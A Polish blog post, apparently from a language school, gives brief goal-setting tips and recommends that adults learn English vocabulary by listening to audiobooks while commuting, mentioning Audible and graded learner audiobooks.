  • Wyznacz swój cel długoterminowy – np. do końca przyszłego tygodnia opanuję 3 formy czasowników nieregularnych
  • Pamiętaj, aby zawsze precyzyjnie wyznaczać swój „deadline” (moment zakończenia nauki)
  • Bądź realistyczny – nie wyznaczaj celów ogólnikowych – np. „zrobić postęp w języku”

american-1209605_960_720

 

Znowu wrzesień… wracamy do nauki!

Rok szkolny zbliża się wielkimi krokami. Jest już tuż za rogiem! Często zatem my, dorośli, myślimy o tym, aby wrócić do nauki… Jednak pięć minut później mamy już milion wymówek, dlaczego to jednak nie jest dobry moment. Bardzo często od swoich uczniów słyszę, że nie mają czasu w domu na ćwiczenia czy też naukę słówek. Niestety, tak to już jest z językami, że jeśli nie poświęcimy im czasu, to efekty nie będą zadowalające. Aczkolwiek istnieje prosta i dostępna metoda, która bardzo pomaga w zapamiętywaniu i uczeniu się nowych słówek – mam na myśli słuchanie audiobooków. Możemy do tego wykorzystać swój smartfon, czy też samochód w drodze do pracy. Przydatna tutaj będzie jedna z wielu aplikacji, na przykład Audible. W wymienionym serwisie można znaleźć ponad 180 000 książek, więc na pewno każdy znajdzie interesującą dla siebie tematykę. Natomiast w innych serwisach można znaleźć audiobooki specjalnie przygotowane do nauki języka angielskiego. W tym przypadku słownictwo i konstrukcje gramatyczne przystosowane są do odpowiedniego poziomu.

Taka metoda nauki daje nam podwójne korzyści. Nie tylko nie nudzi nam się w drodze do pracy, ale też możemy się w tym czasie czegoś nowego nauczyć! Na pewno wpłynie na nasz nastrój, ponieważ pod koniec dnia będziemy mieć wrażenie, iż spędziliśmy dzień naprawdę efektywnie. Miłego słuchania 🙂

sluchanie-muzyki-5aa2-3-e9a4bed36-3aafc26a7-6faa667_6bcd87

Strona multilingua.edu.pl korzysta z plików cookies w celu realizacji usług statystycznych, społecznościowych i funkcjonalnych. Warunki przechowywania lub dostępu do plików cookies można określić w ustawieniach przeglądarki internetowej.